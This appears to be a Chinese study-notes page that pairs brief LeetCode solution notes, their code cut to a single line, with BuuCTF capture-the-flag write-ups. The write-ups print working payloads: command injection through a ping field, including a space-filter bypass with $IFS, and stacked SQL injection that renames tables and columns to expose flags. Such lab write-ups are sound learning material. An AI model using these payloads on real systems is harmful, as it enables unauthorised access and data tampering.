LeetCode
两数之和
使用暴力枚举,枚举数组中的每一个数 x,寻找数组中是否存在 target - x。
当我们使用遍历整个数组的方式寻找 target - x 时,需要注意到每一个位于 x 之前的元素都已经和 x 匹配过,因此不需要再进行匹配。而每一个元素不能被使用两次,所以我们只需要在 x 后面的元素中寻找 target - x。
1 | class Solution { |
回文数
思路:
将数字转换为字符串,并检查字符串是否为回文。但是,这需要额外的非常量空间来创建问题描述中所不允许的字符串。
将数字本身反转,然后将反转后的数字与原始数字进行比较,如果它们是相同的,那么这个数字就是回文
我选择用循环,判断对称位的数是否相等
1 | class Solution { |
删除有序数组中的重复项
循环,删除重复项
1 | class Solution { |
BuuCTF
5、Exec
Linux ping 命令用于检测主机。执行 ping 指令会使用 ICMP 传输协议,发出要求回应的信息,若远端主机的网络功能没有问题,就会回应该信息,因而得知该主机运作正常
ls(英文全拼:list files):用于显示指定工作目录下的内容(列出目前工作目录所含之文件及子目录)
cat(英文全拼:concatenate):用于连接文件并打印到标准输出设备上
首先查看此文件的目录:127.0.0.1|ls
点击ping后发现有个index.php文件
再查看上级目录:127.0.0.1|ls /
点击ping后可以看到一个flag
查看flag:127.0.0.1|cat /flag
得到flag
1 | flag{4504f6f2-191b-410b-b40d-18b4e403a271} |
6、Ping Ping Ping
这一题与上一题Exec类似,首先访问本地地址,发现有显示
查看此文件的目录,发现有两个文件
查看flag.php文件
它说空格被过滤了
命令中空格被过滤的解决方法:
1 | {cat,flag.txt} |
发现符号又被过滤了,说明{}
大括号被过滤了
用另一个方法试下index.php文件
有一个参数a,变量拼接字符串——将a的值覆盖,然后进行绕过
构造payload:/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php
用变量拼接成flag
啥也没有,查看源代码,得到flag
1 | flag{97aede41-9723-4901-8ac2-b345d66af44b} |
7、随便注
查询3时没有显示,说明有两个字段
爆数据库:1’;show databases;#
爆表名:1’; show tables;#
出来了两个表
查看words表列名:1’; show columns from words;#
查看1919810931114514表列名:0’; show columns from 1919810931114514
;#
注意:表名为数字时,要用反引号包起来查询
看到flag,说明表1919810931114514中有flag
查看大佬的方法
通过 rename 先把 words 表改名为其他的表名。
把 1919810931114514 表的名字改为 words 。
给新 words 表添加新的列名 id 。
将 flag 改名为 data
1’; rename table words to word1; rename table
1919810931114514
to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#
最后输入:1’ or 1=1;#
得到flag
1 | flag{aa75e48d-8389-408e-9c8c-9d30c81c432b} |
8、EasySQL
输入1,有显示
爆数据库:1;show databases;#
爆表:1;show tables;#
爆字段:1;show columns from FLAG;#
显示Nonono
查看大佬博客后,构造payload:*,1
参考博客([BUUCTF-SUCTF 2019]EasySQL1__Monica_的博客-CSDN博客)
得到flag
1 | flag{7c0c6069-c1fe-4314-b793-9a214f11fdb3} |